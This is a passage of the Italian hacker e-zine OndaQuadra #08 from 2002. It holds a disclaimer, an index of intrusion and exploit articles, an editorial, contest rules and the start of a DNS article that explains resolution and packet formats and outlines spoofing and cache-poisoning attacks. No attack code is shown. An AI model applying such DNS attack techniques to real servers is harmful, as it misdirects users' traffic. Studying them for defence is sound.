,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, ::::::::::::, .::::::::::::::::::::::::::::::,. .,:::,,.........,: ::::::::,. s@@@@@@#. .:::::, .,:::::::::. ,:. ,, :::::::::,.: ::::::, ;@@@@@@@@@@@@@: ,:: ;H@@Ar .::::::. :@@@@@@: :. ;@@@@@#r : :::::. 2@@@ :@@@@@@@H .:, @@@@@@@@@@: .:::: ,@@@r @@@G . S@@@: @@@S: :::: s@@@2 ,,, #@@@@@@r :,:@@@@@@@@@@@; ,::. 2@@# :@@# .:@@@ .@@@:: :::, A@@@@ :::::, @@@@@@@ :, #@@@@@@@@ :: .@@@ ,. 9@@M S@@G,3@@r : ::: @@@@@ ,:::::. 5@@@@@2 :::, S@@@@@@@@@: ,:.#@@: ,, @@@: ,@@@#B@@@, : ::: i@@@@@G ,::::. r@@@@r .::: @@@@@@@@@@@ , @@@ : i@@A @@@; @@@3 : ::: i@@@@@@A @@@@ .::, h@@@@@@@@@@@; @@H i@@# @@@; ;@@@: , ::: @@@@@@@@@3;.i@@@S ,::. r@@@@@@@@@@@@@@H @@@ A@@3 @@@i @@@@ ,: :::, .@@@@@@@@@@@@@: ,::, @@@@@@@@@@@@@@@@@@ @@@@@@3 , A@@@@@@M ,:: ::::, 9@@@@@@i .::::: @@@@@@@@@@@@@@@@@@@@@@@S ,::::::::::::::::::::: :::::,. .,::::, &@@@@@@@@@@@@@@@@@@@@@@@@H .:::::::::::::::::::: ::::::::. ,:. @@@@@@@@@@@@@@@@@@@@@@@@@@@; ,:::::::::::::::::: :::::, :@@@@@@@@@@@; .. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@ .::::::::::::::::: :::, M@@s ,@@@@@@@@2 . @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@r .:::::::::::::::: ::. @@@# .. @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@; ,::::::::::::::: :, ,@@@@ :::::. @@@@@@i , &@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ::::::::::::::: : @@@@2 ,::::::. r@@@@@r :, G@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ,:::::::::::::: : S@@@@A ::::::: @@@@@ .:::. @@@@@@@@@@@@@@@@@@@@@@@@@H,A,,:::::::::::::: : H@@@@@; ,,,, 5@@@H ,:::: @@@@@@@@@@@@@@@@@@@@@@@@@@S ,:::::::::::::: : S@@@@@@@. H@@# ,:::::. @@@@@@@@@@@@@@@@@@@@@@@@@@@. ::::::::::::::: :. #@@@@@@@@@@@@@@& ,:::::::, @@@@@@@@@@@@@@@@@@@@@@@@@@@2 ::::::::::::::: :, &@@@@@@@@@H ,:::::,. M@@r2@@:@@@@@@@@@@@@@@@@@@@; ::::::::::::::: :::, A@: .,,,.2&22@@@@, A@@@@@@@@@@@@@@@@@@ ::::::::::::::: :::, .s@@@@@@@@@@@@A: s2@@@HA@@2B@M@@ A@@@@@@@@@@@@@@@ .:::::::::::::: :::,;@@@@@@@@@@@@@@@@@@@@h, ;@@@rs@@@@@@@@@@@@@@ .::::::::::::: :::, ,3@@@@@@@@@@@@@@@@2. .@@@@@@@@@@@@@@@G :::::,. ,:: :::::::::,,. r@@@@@@@@@@@@@@@@@h; ,S#@@@@@@@@@@@r ,. 2@3,:: :::::::::::::::,. ;#@@@@@@@@@@@@@@@@@i. &@@@@@@; :H@@@@S ,:: ::::::::::::::::::::,. .5@@@@@@@@@@@@@@@@@@Ai: :@@@@@@@; ,::: :::::::::::::::::::::::::,. :G@@@@@@@@@@@@@@@@@@@@@@@@A: .,:::::: :::::::::::::::::::::::::::::::,. ... .,,:::::::::: ::::::::::::::::::::::::::::::::::::::,,.. ..,,::::::::::::::::: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: +--------------------------------------------------------------------------+ | ONDAQUADRA #08 - 01/11/2002 | +--------------------------------------------------------------------------+ | Tutto nel ciberspazio | | E' scandito dalla squarewave | | Dei micro-processori | | Il clock dei micro | | E' come | | Un battito cardiaco | | Elettronico... | +--------------------------------------------------------------------------+ | http://www.ondaquadra.org | | mail@ondaquadra.org ~ articoli@ondaquadra.org | +--------------------------------------------------------------------------+ <-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> +--------------------------------------------------------------------------+ | LEGAL DISCLAIMER | +--------------------------------------------------------------------------+ | | | Nessuna persona dello staff di OndaQuadra si assume responsibilita' | | per l'uso improprio dell'utilizzo dei testi e dei programmi presenti | | nella e-zine, ne' per danni a terzi derivanti da esso. | | OndaQuadra non contravviene in alcun modo alle aggiunte/modificazioni | | effettuate con la legge 23 dicembre 1993, n.547 ed in particolare | | agli artt. 615-quater- e 615-quinques-. | | Lo scopo di OndaQuadra e' solo quello di spiegare quali sono e come | | avvengono le tecniche di intrusione al fine di far comprendere come | | sia possibile difendersi da esse, rendere piu' sicura la propria box e | | in generale approfondire le proprie conoscenze in campo informatico. | | I programmi allegati sono semplici esempi di programmazione che hanno | | il solo scopo di permettere una migliore comprensione di quanto | | discusso e spiegato nei testi. | | Non e' soggetta peraltro agli obblighi imposti dalla legge 7 marzo 2001, | | n. 62 in quanto non diffusa al pubblico con "periodicita' regolare" ex | | art. 1 e pertanto non inclusa nella previsione dell'art.5 della legge | | 8 febbraio 1948, n.47. | | | +--------------------------------------------------------------------------+ <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> +--------------------------------------------------------------------------+ | COSTITUZIONE DELLA REPUBBLICA ITALIANA | +--------------------------------------------------------------------------+ | Diritti e doveri dei cittadini: Rapporti civili | | | | Articolo 21 | | Tutti hanno diritto di manifestare liberamente il proprio pensiero | | con la parola, lo scritto e ogni altro mezzo di diffusione. [...] | +--------------------------------------------------------------------------+ <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> +--------------------------------------------------------------------------+ | INDICE | +--------------------------------------------------------------------------+ | [L0GiN] | | 0x01 ViSi0NARi .............................................. [oq~staff] | | 0x02 iPSE DiXiT ............................................... [JEYoNE] | | 0x03 On the sunny side of the street ........................ [arkanoid] | | 0x04 0Q C0NTEST ............................................. [oq~staff] | +--------------------------------------------------------------------------+ | [HACKiNG] | | 0x05 DEFEATiNG DNS ........................................... [SNHYPER] | | 0x06 iP R0UTiNG ATTACK .......................................... [eazy] | | 0x07 C0DE iNJECTi0N ............................................. [eazy] | +--------------------------------------------------------------------------+ | [NETW0RKiNG] | | 0x08 iMP0STARE iL DUAL STACK IPV6 / IPV4 ............... [Master^Shadow] | +--------------------------------------------------------------------------+ | [LiNUX] | | 0x09 LMSRK ..................................................... [spyro] | +--------------------------------------------------------------------------+ | [C0DiNG] | | 0x0A iNTR0DUZi0NE A PHP .................................... [Lethalman] | | 0x0B iL SUCCESS0RE Di XSL .................................. [cyberdude] | | 0x0C PLUS #2 .................................................. [Mastro] | | 0x0D iMPARiAM0 iL LiNGUAGGi0 WML ........................... [cyberdude] | | 0x0E GUiDA ALLA PR0GRAMMAZi0NE GRAFiCA iN C/C++ ................ [bondo] | +--------------------------------------------------------------------------+ | [L'ANG0L0 DEGLi EXPL0iT] | | 0x0F BNBF0RM: USi E ABUSi ...................................... [spyro] | | 0x10 LA G0CCiA CHE FA TRAB0CCARE iL BUFFER ....................... [e4m] | +--------------------------------------------------------------------------+ | [MiSC] | | 0x11 DiGiTAL ................................................. [evilcry] | | 0x12 CiRCUiTi STAMPATi ....................................... [TiN_MaN] | | 0x13 E ULTiM0 VENNE iL P0RC0 ................................ [onnivora] | | 0x14 GLi SPYWARE 0GGi ........................................... [SwiT] | +--------------------------------------------------------------------------+ | [L'APPRENDiSTA STREG0NE] | | 0x15 GUARDA GUARDA CHE Ti LEGG0 iL W0RD! ...................... [Dagart] | | 0x16 PATCHARE UN SERiAL NUMBER USAND0 WDASM32 .............. [cyberdude] | | 0x17 0VERCL0CK ESTREM0 Di UN PENTiUM IV 1600 ..................... [DJK] | | 0x18 C0DiCE iNVERS0 PARTE 5 ..................................... [Zer0] | +--------------------------------------------------------------------------+ | [SHUTD0WN] | | 0x19 MEDiTAZi0Ni DAVANTi AD UNA MACCHiNETTA ................ [Dreadnaut] | +--------------------------------------------------------------------------+ | [C0NTATTi] | | 0x1A D0VE TR0VARCi ........................................ [oq ~ staff] | +--------------------------------------------------------------------------+ | [ALLEGATi] | | 0x01 MODELLO.JPG ............................................ [oq~staff] | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ L0GiN #08 - 01/11/2002 | | ViSi0NARi [oq~staff] 0x01/0x1A | +--------------------------------------------------------------------------+ | "Siamo realisti, esigiamo l'impossibile" | | [Che Guevara] | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ L0GiN #08 - 01/11/2002 | | iPSE DiXiT [JEYoNE] 0x02/0x1A | +--------------------------------------------------------------------------+ | "Linux e' troppo vecchio per supportare la tecnologia ADSL" | | [un tecnico del 187] | | | | "...jey, fai assaggiare un po della tua banana alla mia ragazza..." | | [SHNYPER a JEYoNE in un locale di milano] | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ L0GiN #08 - 01/11/2002 | | On the sunny side of the street [arkanoid] 0x03/0x1A | +--------------------------------------------------------------------------+ | Abbandonare la citta' la sera e' difficile. Si ha le netta percezione | | del sovradimensionamento del traffico rispetto all'infrastruttura della | | rete stradale. E' come fare streaming video con un modem da 14 e 4, un | | Denial of Service urbano quotidiano. | | A proposito di DoS (anzi DDoS): lo scorso mese abbiamo assistito a | | quello che l'Fbi ha definito il piu' vasto attacco contro Internet, | | l'assalto ai root-server dns. Nulla di nuovo sotto il sole cablato; | | pero' prima o poi l'inevitabile accadra', ci sara' sicuramente un | | attacco devastante contro la rete, primo atto della cyberwar, l'11 | | settembre elettronico. Sediamoci sulla riva del fiume e aspettiamo che | | il cadavere della modernita' ci passi davanti agli occhi, anche se ai | | professorini col cappello nero non importa nulla, l'importante e' farsi | | accettare nel salotto buono del capitalismo o parlare a qualche inutile | | conferenza: i bottegai della sikurezze sono serviti. | | | | Intanto qui si parla di censura. No, questa volta i simpatici signori | | del Palazzo non centrano. Anzi, devo dire che ultimamente a | | Montecitorio si stanno comportando assai bene; pensate che ieri si sono | | addirittura presi a pugni due rappresentsnti dello stesso partito, | | cosi' evitano la fatica ai cittadini... | | Dicevo della censura, anzi auto-cesnura. Ebbene si, abbiamo dovuto | | censurare un articolo. Ma come ? Proprio noi, la "stampa clandestina", | | i paladini assoluti della liberta' di espressione, super m3g4 l33t del | | panorama hackeresco Globale... | | Comunque state tranquilli, l'articolo incriminato apparira' sul | | prossimo numero: restate sintonizzati, il mistero sara' svelato (o | | no ? ). | | | | Continuano ad arrivare tanti articoli, alcuni buoni altri meno. | | Chiariamo un punto. | | Avete scritto un articolo fantastico, estremamente complesso, dove | | viene illustratta una nuova sofisticatissima tecnica? Mandatelo a Bfi | | (o a phrack o alla Microsoft, e' uguale) :) Siete aspiranti ethical | | hacker, black/grey/white hat ? | | Ecco, non ci interessate :) Noi cerchiamo i rainbow-hat, la fantasia al | | potere, l'arcobaleno dei dilettanti, i coriandoli colorati portati dal | | vento ;). | | Quindi scrivete, scrivete: meglio le idee della tecnica. Piu' | | editoriali e meno guide di compilazione del kernel :) | | Piu' avventura e meno accademia: perlomeno sappiate cos'e' il Jolly | | Roger! | | Bene, ora potete procedere; rovinatevi gli occhi col nuovo numero di | | OQ. Sognate ma soprattutto schiodatevi dalle vostre comode poltrone. | | Non vogliamo eroi, ma gente che e' stufa di patire in silenzio. No ai | | professorini col cappello nero esperti di sikurezza ed estremamente | | ipocriti;avanti ai sognatori a 360 gradi, che avvolgono col la vista | | tutto il giro dell'orizzonte onirico. | | | | Il nuovo OQ e'vostro: fate in modo che il prossimo numero sia migliore. | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ L0GiN #08 - 01/11/2002 | | 0Q C0NTEST [oq~staff] 0x04/0x1A | +--------------------------------------------------------------------------+ | | | Il nuovo numero di Ondaquadra porta con se una sferzata di novità, prima | | tra tutte questa nuova sezione denominata contest. | | Lo scopo di questa sezione è quello di fornire un mezzo ai nostri | | lettori per interagire sempre più da vicino nel processo di maturazione | | della zine fornendo contributi volti a migliorarne gli aspetti più | | disparati. | | Ad ogni nuovo numero di OQ verranno istituiti uno o più contest | | riguardanti tematiche diverse (programmazione, grafica, etc), ad ognuno | | di essi sarà possibile partecipare liberamente. Ogni contest avrà una | | consegna ben precisa da rispettare sulla base della quale verranno | | valutati i vostri lavori. | | L'oggetto dei contest sarà scelto in maniera tale che il lavoro che si | | aggiudicherà il primo posto potrà venire impiegato per migliorare quello | | che è il nostro e il vostro progetto: Ondaquadra. | | I tempi di consegna dei vostri progetti coincideranno molto spesso con | | l'uscita del prossimo numero di OQ tuttavia potranno essere estesi a | | seconda della quantità di contributi ricevuti, il countdown visibile in | | homepage risulterà utile per avere un'idea del tempo a propria | | disposizione. | | | | Ma ora entriamo nel vivo dei contest che Ondaquadra ha deciso di | | promuovere questo mese... | | | | 1. Programmazione | | | | Il contest prevede la realizzazione di un impaginatore in grado di | | trasformare un testo formattato a piacere in un articolo conforme agli | | standard di pubblicazione di OQ, ovvero con una formattazione del testo | | a 72 caratteri di larghezza, proprio come l'articolo che state leggendo. | | Sono ESCLUSI dai compiti dell'impaginatore la genarazione della cornice | | di pipe "|". | | E' possibile utilizzare qualsiasi linguaggio di programmazione, tale | | scelta è stata fatta per lasciare la maggior libertà possibile. | | Il codice sarà valutato in base all'aderenza alle consegne, alle scelte | | di progetto e all'efficenza. | | Alcuni suggerimenti: i punti più critici sono rappresentati dalla | | gestione dei possibili disegni ASCII contenuti nel testo, la soluzione | | di tale problema costituisce un punto cruciale nella valutazione del | | progetto, per tanto le scelte riguardanti tale gestione sono lasciate | | interamente all'autore del programma. | | Il progetto che si aggiudicherà il primo posto costituirà un tool di | | pubblica utilità per tutti gli utenti che vorranno impaginare i propri | | articoli in maniera corretta e verrà per tanto inserito tra i download | | del nostro sito a disposizione di chiunque voglia usufruirne. | | Il progetto dovrà essere inviato a contest@ondaquadra.org entro e non | | oltre la data di pubblicazione prevista per il prossimo numero, lo staff | | si riserva tuttavia la possibilità di estendere la validità del contest | | sulla base dei contributi ricevuti. | | | | 2. Grafica | | | | Il contest consiste nel progettare la grafica delle t-shirt di | | Ondaquadra, la sola consegna da rispettare è quella di utilizzare un | | logo piccolo per quanto riguarda la parte davanti della t-shirt e uno | | più grande nella parte posteriore, ai partecipanti è lasciata piena | | autonomia per quanto riguarda le scelte puramente stilistiche. | | In allegato alla zine e sul nostro sito è possibile reperire la jpg che | | costituisce il modello su cui dovrà essere presentato il vostro lavoro. | | Sulla base del progetto vincitore saranno stampate delle magliette a | | disposizione dello staff e dei lettori che ne dovessero fare richiesta. | | Il progetto dovrà essere inviato a contest@ondaquadra.org entro e non | | oltre la data di pubblicazione prevista per il prossimo numero, lo staff | | si riserva tuttavia la possibilità di estendere la validità del contest | | sulla base dei contributi ricevuti. | | | | 3. Web | | | | Il contest vede come oggetto la versione testuale del sito di OQ ed è | | dedicato a chiunque voglia cimentarsi nella realizzazione di un sito | | ottimizzato per links/lynx o altri browser testuali. | | Nella realizzazione di tale sito vi sono tuttavia delle consegne da | | rispettare, in particolare deve comparire almeno una volta la frase: | | | | "Fino a quando lo spirito umano sara' vivo, gli hackers esisteranno | | sempre. Puo' darsi che dovremo combattere una battaglia durissima se | | continueremo ad essere imprigionati e vittimizzati a causa del nostro | | desiderio di esplorare. Ma questa repressione raggiungera' tutti gli | | obiettivi tranne quello di fermarci" | | E. Goldstein, editore di 2600 | | | | Una parte dello spazio dovrà essere dedicata ai link che permettono di | | effettuare il download dei numeri nuovi e arretrati di Ondaquadra. | | Devono comparire i seguenti indirizzi e-mail al fine di permettere il | | recapito degli articoli da parte degli utenti e per contattare la | | redazione: | | | | articoli@ondaquadra.org | | mail@ondaquadra.org | | | | Il sito che si aggiudicherà il primo posto sarà il candidato a | | sostituire il sito attuale che si trova all'URL: | | | | http://www.autistici.org/ondaquadra/indexlynx.html | | | | Il progetto dovrà essere inviato a contest@ondaquadra.org entro e non | | oltre la data di pubblicazione prevista per il prossimo numero, lo staff | | si riserva tuttavia la possibilità di estendere la validità del contest | | sulla base dei contributi ricevuti, penso che ormai la formula la | | conosciate :) | | | | Bene, con questo ho finito! Vi saluto e vi invito a partecipare numerosi | | in attesa dei contest che vi proporremo nel prossimo numero. | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ HACKiNG #08 - 01/11/2002 | | DEFEATiNG DNS [SNHYPER] 0x05/0x1A | +--------------------------------------------------------------------------+ | ovvero: Tutto cio' che volevate sapere sui DNS e non avete mai | | osato chiedere | | | | [snhyper@Charlotte2:~]$ date | | Sun Oct 06 03:58:05 CEST 2002 | | | | -snhyper@ondaquadra.org- | | --http://snhyper.owns.it-- | | | | | | | | 0x00 => Indice: | | | | | | | | 0x00) Indice | | | | 0x01) Requisiti | | | | 0x02) Introduzione generale | | | | 0x03) Introduzione al DNS | | -sub_A() Non-authoritative answer | | -sub_B() Recursive resolution | | -sub_C() Iterative resolution | | | | 0x04) Costituzione pacchetti DNS | | | | 0x05) Parametri DNS | | | | 0x06) Analisi tipologica di attacchi ai server DNS | | -sub_A() DNS footprinting | | -sub_B() DNS zone transfer | | -sub_C() DNS Denial of Service | | -sub_D() DNS ID guessing | | -sub_E() DNS spoofing | | -sub_F() DNS poisoning/caching | | -sub_G() DDNS update spoofing | | | | 0x07) Protezione server DNS | | -sub_A() Macchine posix (*nix, *BSD) | | -sub_B() Macchine Win | | | | 0x08) Progetto AmPaRo | | | | 0x09) Greetings and Byez | | | | 0x0A) Resources | | | | 0x0B) GPG Key | | | | | | 0x01 => Requisiti: | | | | - conoscenza protocollo tcp/ip - iso/osi | | - conoscenza funzionamento protocollo dns e cio' ad esso correlato | | - conoscenza linguaggio C (se non ci si vuole limitare ad eseguire) | | - conoscenza programmazione socket raw (idem come sopra) | | - importante: eseguire-> #mount /dev/brain /mnt/head | | | | | | | | 0x02 => Introduzione generale: | | | | In questo paragrafo illustrero' a grandi linee le caratteristiche dei | | dns senza entrare nei particolari e senza approfondire la sua | | struttura e il suo funzionamento in quanto dovrebbe essere un target | | gia' sviluppato (come da paragrafo "Requisiti") ai fini di una | | ottimale comprensione del presente documento. Per informazioni su | | tutto cio' che viene detto, tecniche o no, e per approfondimenti vari | | vi rimando all'ultimo paragrafo "Risorse" nel quale potete trovare | | puntatori a tutto cio' che mi ha permesso di capire e di sviluppare, e | | che sarebbe ottimo sapere prima di addentrarsi nei meandri specifici | | delle reti e dell'hacking in generale. | | Nel seguito del paper verranno sviluppati anche altri temi inerenti di | | cui potete trovare traccia nell'indice sopra esposto. | | | | C00L: Questo testo vuole essere una analisi dell'argomento DNS | | security per tutti coloro (sysadmin - h4x0r etc..) che vogliono | | proteggersi - imparare - etc.. con queste metodologie che | | ritengo molto interessanti. | | Come disse mudge in un suo source in un commento: | | /* A little step for a man, a big step for human kind */ | | | | Questo testo vuole essere anche una "implementazione" e | | "chiarificazione" del testo "DNS Sp00f attack" dell'amico E4zy | | pubblicato su OndaQuadra n.0x06 ,articolo 0x1D. | | | | Questo testo non vuole essere una incitazione ad attacchi e vari. | | | | Questo testo non vuole sminuire il testo di E4zy o altro. | | | | | | | | 0x03 => Introduzione ai DNS: | | | | I DNS (Domain Name System) non sono altro che un database distribuito | | e inter-collaborante che permette il "mapping" dei nomi logici di | | dominio FQDN (Full Qualified Domain Name) sugli indirizzi di rete IP | | Address. Questo per una semplificazione notevole all'utenza media e | | non, in quanto e' sicuramente piu' semplice ricordarsi di un nome | | logico rispetto ad un indirizzo fisico. Basta pensare, ad esempio, per | | i computers "internet-connected" quanto sia piu' comodo ricordarsi di | | www.sikurezza.org rispetto a 151.8.1.46;in questo caso il DNS | | effettuera' per noi la risoluzione dell'URL (Universal Resource | | Locator). Altro notevole vantaggio sta nell'evitare la difficile | | manutenzione di grossi file /etc/hosts etc...in grosse organizzazioni. | | | | I nomi logici DNS hanno la forma di "dominio.tipo_dominio", ad esempio | | sikurezza.org (sikurezza non me ne voglia a male se l'ho preso come | | esempio ;). I tipi di dominio sono mantenuti dall'ICANN e tra i piu' | | conosciuti troviamo appunto ".edu - .org - .com - .it - .net" etc.. | | che differenziano nella maggior parte dei casi la tipologia di | | contenuti del server o, nel caso dei tipi countries-specific, della | | nazionalita' ove si trova l'organizzazione (".jp - .de - .en - .fr"). | | | | Come si sapra' certamente,al top di tutto si trova la root, alla quale | | sono designati i 13 root-servers che mantengono traccia dei "top level | | servers" contenenti informazioni di risoluzione per i domini di primo | | livello TLD (Top Level Domain). | | | | Ma ora vediamo a grandi linee il metodo di risoluzione base di un dns: | | Quando un client richiede una connessione ,per esempio con il sito | | www.sikurezza.org, egli non sa che indirizzo abbia quindi effettuera' | | pochi semplici passi che gli permetteranno la sua risoluzione e quindi | | di connettersi. | | | | Nel seguente schema si ravvisera' la tipica metodologia di risoluzione | | per sistemi posix compliant quali linux, unix, *BSD etc.., che quindi | | non includera' la ricerca in database WINS, in file lmhosts etc.. | | tipiche dei sistemi windoze. | | | | Primo passo sara' controllare se l'host appartiene al dominio locale. | | Una volta appurato che non lo e', controllera' il file /etc/hosts per | | trovare una risoluzione preimpostata dall'utente stesso. | | Non trovando niente inviera' una query al proprio DNS server, trovato | | attraverso un resolver (/etc/resolv.conf), tramite la GetHostByName(3). | | Nel caso in cui il DNS server di default non sia autoritativo per il | | dominio richiesto e non abbia la voce richiesta nella cache, agira' da | | forwarder o inviera' una richiesta ricorsiva (se supportata,flag RA). | | | | L'abilitazione della modalita' ricorsiva e' una prerogativa senza la | | quale il dns-poisoning non puo' essere effettuato (vedremo perche'). | | Se il client si vedra' ritornare dal DNS una response non autoritativa | | (non-authoritative response) significhera' che il DNS non ha neanche | | contattato il server autoritativo per quel dominio, ma l'aveva nella | | cache. | | | | Esempio: | | | | -sub_A() Non-authoritative answer: { | | | | client dns.tin.it dns.sikurezza.org | | ---------- ---------- ---------- | | | |www.sikurezza.org.| | | | | | | -----------------> | | | | | | | | A ? | | | | | | | | | | | | | | | |www.sikurezza.org.| | | | | | | | <---------------- | | | | | | | A 151.8.1.56 | | | | | | | | AA=0x00 | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | In questo caso, essendo la flag AA (Autority answer) impostata a 0 | | significa che il server non ha autorita' su quel dominio: vorra' | | quindi dire che dns.tin.it aveva la mappatura nella cache. | | Ricordo che il tempo per il quale la voce deve rimanere attiva nella | | cache equivale a quello impostato nel pacchetto di risposta corrispon- | | dente al campo TTL. | | | | }; | | | | -sub_B() Recursive resolution: { | | | | client dns.tin.it dns.sikurezza.org | | ---------- ---------- ---------- | | | |www.sikurezza.org.| |www.sikurezza.org.| | | | | -----------------> | -----------------> | | | | | | A ? | | A ? | | | | | | | | | | | | | |www.sikurezza.org.| |www.sikurezza.org.| | | | | | <---------------- | <----------------- | | | | | A 151.8.1.56 | | A 151.8.1.56 | | | | | | AA=0x01 | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | In questo caso (il disegno e' molto schematico e ho lasciato le parti | | che descrivero' ora) dns.tin.it contattera' uno dei root-server, il | | quale gli ritornera' l'indirizzo di uno dei server con autorita' sul | | TLD .org; allora dns.libero.it contattera' quest'ultimo chiedendo di | | sikurezza.org e verra' ritornato,ad es.,l'indirizzo di sikurezza.org, | | , che conterra' il record relativo a www.sikurezza.org come record | | A o CNAME a seconda di come e' stato impostato. Il record sara' di tipo | | autoritativo (AA=0x01). | | | | }; | | | | -sub_C() Iterative resolution: { | | | | client dns.tin.it dns.sikurezza.org | | ---------- ---------- ---------- | | | |www.sikurezza.org.| | | | | | | -----------------> | | | | | | | | A ? | | | | | | | | | | | | | | | |dns.sikurezza.org.| | | | | | | | <---------------- | | | | | | | A 151.8.1.253 | | | | | | | | AA=0x00 | | | | | | | | | | | | | | | | | | | | www.sikurezza.org. A ? | | | | | ---------------------------------------------> | | | | | | | | | | | | www.sikurezza.org. A 151.8.1.56 | | | | | | <--------------------------------------------- | | | | | AA=0x01 | | | | | | | | | | | | }; | | | | Come si puo' notare (anche qui sono stati saltati i passi intermedi) | | nell'interrogazione iterativa e' il client a effettuare le ricerce | | per i fatti suoi secondo le risposte ricevute dai dns intermediari. | | E' quindi facile comprendere (per chi sa le basi del dns-poisoning) | | perche' nel caso di una interrogazione iterativa non sia possibile | | un attacco del genere. | | | | Per capire bene il funzionamento basta armarsi di tools come "dig" o | | "nslookup", o "host" presenti in ogni distro linux, e naturalmente | | del classico tcpdump ("anke medioman usa tcpdump", vero Raoul? ;=). | | | | 0x04 => Costituzione pacchetti DNS: | | da Tcp/Ip Illustrated vol.1 , W.R.Stevens | | | | | | Questo paragrafo serve solo da promemoria per la lettura di codice | | e/o la lettura di parti tenciche in quanto la sua conoscenza deve | | essere gia stata approntata! | | | | | | 0 1 3 | | 0 6 2 | | ------------------------------------------------------------- <- | | | IDENTIFICATION | FLAGS | | | | ------------------------------------------------------------- 12 | | | NUMBER OF QUESTIONS | NUMBER OF ANSWER RRs | bytes | | ------------------------------------------------------------- header | | | NUMBER OF AUTHORITY RRs | NUMBER OF ADDITIONAL RRs | | | | ------------------------------------------------------------- <- | | \ QUESTIONS / | | ------------------------------------------------------------- | | / ANSWERS (variable num. of RRs) \ | | ------------------------------------------------------------- | | \ AUTHORITY (variable num. of RRs) / | | ------------------------------------------------------------- | | / ADDITIONAL (variable num. of RRs) \ | | ------------------------------------------------------------- | | | | Il significato dei campi dovrebbe essere gia chiaro (requisiti..) | | quindi non mi dilunghero'. | | | | Il campo FLAGS di 16 bit e' suddiviso a sua volta in: | | | | 0 0 0 0 0 0 0 1 1 | | 0 1 5 6 7 8 9 2 6 | | -------------------------------------------------- | | | QR | opcode | AA | TC | RD | RA | zero | rcode | | | -------------------------------------------------- | | | | Il campo QUESTIONS contiene la query vera e propria ed e': | | | | | | 0 1 3 | | 0 6 2 | | ------------------------------------------------------------- | | / QUERY NAME \ | | ------------------------------------------------------------- | | | QUERY TYPE | QUERY CLASS | | | ------------------------------------------------------------- | | | | | | Il campi ANSWERS, AUTHORITY e ADDITIONAL condividono lo stesso | | formato di pacchetto, detto appunto Resource Record (RR): | | | | | | 0 1 3 | | 0 6 2 | | ------------------------------------------------------------- | | \ DOMAIN NAME / | | ------------------------------------------------------------- | | | TYPE | CLASS | | | ------------------------------------------------------------- | | | TTL | | | ------------------------------------------------------------- | | | RESOURCE DATA LENGHT | | | | ------------------------------- | | | | RESOURCE DATA | | | ------------------------------------------------------------- | | | | | | 0x05 => Parametri DNS: | | | | Domain System CLASS: | | | | Valore Nome Riferimento | | --------- ---- ---------- | | 0 Reserved [IANA] | | 1 Internet (IN) [RFC1035] | | 2 Unassigned [IANA] | | 3 Chaos (CH) [RFC1035] | | 4 Hesiod (HS) [RFC1035] | | 5-253 Unassigned [IANA] | | 254 None [Vixie] | | 255 Any [QCLASS Only] [RFC1035] | | 256-65534 Unassigned [IANA] | | 65535 Reserved [IANA] | | | | | | Nella classe Internet (IN) troviamo: | | | | TYPE valore and significato | | | | A 1 indirizzo host [RFC1035] | | NS 2 dns server autoritativo [RFC1035] | | MD 3 ricezione mail (deprecato in favore MX)[RFC1035] | | MF 4 mail forwarder (deprecato in favore MX)[RFC1035] | | CNAME 5 canonical name per un alias [RFC1035] | | SOA 6 inizio zona State of Authority [RFC1035] | | MB 7 mailbox domain name (EXPERIMENTAL) [RFC1035] | | MG 8 mail group member (EXPERIMENTAL) [RFC1035] | | MR 9 mail rename domain name (EXPERIMENTAL) [RFC1035] | | NULL 10 RR nullo (EXPERIMENTAL) [RFC1035] | | WKS 11 descrizione Well Known Service [RFC1035] | | PTR 12 domain name pointer [RFC1035] | | HINFO 13 informazioni su un host [RFC1035] | | MINFO 14 informazioni su mail o mailing list [RFC1035] | | MX 15 mail exchange [RFC1035] | | TXT 16 stringhe di testo [RFC1035] | | RP 17 indirizzo responsabile sysdmin [RFC1183] | | AFSDB 18 AFS Data Base locatio n [RFC1183] | | X25 19 indirizzi X.25 PSDN [RFC1183] | | ISDN 20 per indirizzi ISDN [RFC1183] | | RT 21 per Route Through [RFC1183] | | NSAP 22 indirizzi NSAP [RFC1706] | | NSAP-PTR 23 NSAP pointer | | SIG 24 eventuale security signature [RFC2065] | | KEY 25 security key [RFC2065] | | PX 26 informazioni di mail mapping su X.400 [RFC2163] | | GPOS 27 posizione geografica [RFC1712] | | AAAA 28 indirizzo IPV6 (al posto di AA) [Thomson] | | LOC 29 informazioni localita' [Vixie] | | NXT 30 next Domain [RFC2065] | | EID 31 Identificatore Endpoint [Patton] | | NIMLOC 32 Nimrod Locator [Patton] | | SRV 33 Server Selection [RFC2052] | | ATMA 34 Indirizzo ATM [Dobrowski] | | NAPTR 35 Naming Authority Pointer [RFC2168] | | KX 36 Key Exchanger [RFC2230] | | CERT 37 CERT [Eastlake] | | TKEY 249 TKEY [Eastlake] | | TSIG 250 Signature transazioni [Vixie] | | IXFR 251 Trasferimento incrementale [RFC1995] | | AXFR 252 trasferimento di zona [RFC1035] | | MAILB 253 mailbox-related RRs (MB, MG o MR) [RFC1035] | | MAILA 254 mail agent RRs(deprecato a favore MX)[RFC1035] | | * 255 richiesta di tutti i 